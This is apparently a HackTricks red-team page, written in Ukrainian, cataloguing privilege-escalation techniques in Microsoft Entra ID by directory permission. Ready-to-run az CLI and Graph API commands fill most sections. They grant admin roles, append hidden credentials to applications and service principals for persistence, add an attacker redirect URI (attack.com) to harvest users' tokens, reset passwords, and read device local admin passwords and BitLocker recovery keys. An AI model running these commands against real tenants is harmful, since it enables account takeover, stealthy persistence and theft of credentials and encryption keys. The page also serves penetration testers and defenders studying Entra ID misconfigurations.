Az - EntraID Privesc

Reading time: 11 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

note

Зверніть увагу, що не всі детальні дозволи, які вбудовані в ролі в Entra ID, можуть бути використані в користувацьких ролях.

Ролі

Роль: Адміністратор привілейованих ролей

Ця роль містить необхідні детальні дозволи для того, щоб мати можливість призначати ролі принципалам і надавати більше дозволів ролям. Обидві дії можуть бути зловживані для ескалації привілеїв.

  • Призначити роль користувачу:
bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Додати більше дозволів до ролі:
bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

Це дозволяє зловмиснику додати облікові дані (паролі або сертифікати) до існуючих додатків. Якщо додаток має привілейовані дозволи, зловмисник може автентифікуватися як цей додаток і отримати ці привілеї.

bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Це дозволяє виконувати ті ж дії, що й applications/credentials/update, але обмежено однодоменною організацією.

bash
az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Додавши себе як власника, зловмисник може маніпулювати додатком, включаючи облікові дані та дозволи.

bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами для входу, які використовують новий URL-адресу перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною без необхідності приймати щось.

Зверніть увагу, що також можливо змінити дозволи, які запитує додаток, щоб отримати більше дозволів, але в цьому випадку користувачеві потрібно буде знову прийняти запит на всі дозволи.

bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Service Principals

microsoft.directory/servicePrincipals/credentials/update

Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї.

bash
az ad sp credential reset --id <sp-id> --append

caution

Новий згенерований пароль не з'явиться в веб-консолі, тому це може бути прихований спосіб підтримувати постійність над службовим принципалом.
З API їх можна знайти за допомогою: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Якщо ви отримали помилку "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid.", це тому, що неможливо змінити властивість passwordCredentials службового принципала, і спочатку потрібно його розблокувати. Для цього вам потрібна дозвіл (microsoft.directory/applications/allProperties/update), який дозволяє вам виконати:

bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї.

bash
az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Схоже на додатки, цей дозвіл дозволяє додавати більше власників до службового принципалу. Володіння службовим принципалом дозволяє контролювати його облікові дані та дозволи.

bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

caution

Після додавання нового власника я спробував його видалити, але API відповів, що метод DELETE не підтримується, навіть якщо це метод, який потрібно використовувати для видалення власника. Тому ви не можете видалити власників в даний час.

microsoft.directory/servicePrincipals/disable and enable

Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб ескалувати привілеї.

Зверніть увагу, що для цієї техніки зловмиснику знадобляться додаткові дозволи, щоб захопити увімкнений службовий принципал.

bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Ці дозволи дозволяють створювати та отримувати облікові дані для єдиного входу, що може надати доступ до сторонніх додатків.

bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Підвищення привілеїв додатків

Як пояснено в цьому пості, було дуже поширено знаходити стандартні додатки, яким призначено API permissions типу Application. API Permission (як називається в консолі Entra ID) типу Application означає, що додаток може отримати доступ до API без контексту користувача (без входу користувача в додаток) і без необхідності ролей Entra ID для цього. Тому дуже поширено знаходити високопривілейовані додатки в кожному орендарі Entra ID.

Отже, якщо зловмисник має будь-які дозволи/ролі, які дозволяють оновлювати облікові дані (секрет або сертифікат) додатка, зловмисник може згенерувати нові облікові дані і потім використовувати їх для автентифікації як додаток, отримуючи всі дозволи, які має додаток.

Зверніть увагу, що згаданий блог ділиться деякими API permissions загальних стандартних додатків Microsoft, однак через деякий час після цього звіту Microsoft виправила цю проблему, і тепер неможливо увійти як додатки Microsoft. Однак все ще можливо знайти кастомні додатки з високими привілеями, які можуть бути зловживані.


Групи

microsoft.directory/groups/allProperties/update

Цей дозвіл дозволяє додавати користувачів до привілейованих груп, що призводить до підвищення привілеїв.

bash
az ad group member add --group <GroupName> --member-id <UserId>

Примітка: Ця дозволена дія виключає групи, які можуть бути призначені ролям Entra ID.

microsoft.directory/groups/owners/update

Ця дозволена дія дозволяє стати власником груп. Власник групи може контролювати членство в групі та налаштування, потенційно підвищуючи привілеї в групі.

bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Примітка: Це дозволення виключає групи, які можуть бути призначені ролям Entra ID.

microsoft.directory/groups/members/update

Це дозволення дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ.

bash
az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Ця дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила, щоб включити себе до привілейованих груп без явного додавання.

bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Примітка: Це дозволення виключає групи, які можуть бути призначені ролям Entra ID.

Привілейоване підвищення в динамічних групах

Можливо, що користувачі можуть підвищити свої привілеї, змінюючи свої власні властивості, щоб бути доданими до складу динамічних груп. Для отримання додаткової інформації дивіться:

Az - Dynamic Groups Privesc

Користувачі

microsoft.directory/users/password/update

Це дозволення дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Це дозволення не може бути призначене для користувацьких ролей.

bash
az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Ця привілегія дозволяє змінювати властивості користувача. Зазвичай можна знайти динамічні групи, які додають користувачів на основі значень властивостей, тому ця дозволена дія може дозволити користувачу встановити необхідне значення властивості, щоб стати членом конкретної динамічної групи та підвищити привілеї.

bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Політики умовного доступу та обхід MFA

Неправильно налаштовані політики умовного доступу, що вимагають MFA, можуть бути обійдені, перевірте:

Az - Conditional Access Policies & MFA Bypass

Пристрої

microsoft.directory/devices/registeredOwners/update

Ця дозволена дія дозволяє зловмисникам призначати себе власниками пристроїв, щоб отримати контроль або доступ до налаштувань і даних, специфічних для пристроїв.

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Цей дозвіл дозволяє зловмисникам асоціювати свій обліковий запис з пристроями, щоб отримати доступ або обійти політики безпеки.

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Ця дозволяє зловмисникам читати властивості резервних облікових даних локального облікового запису адміністратора для пристроїв, приєднаних до Microsoft Entra, включаючи пароль.

bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Ця дозволяє доступ до ключів BitLocker, що може дозволити зловмиснику розшифрувати диски, порушуючи конфіденційність даних.

bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Інші цікаві дозволи (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks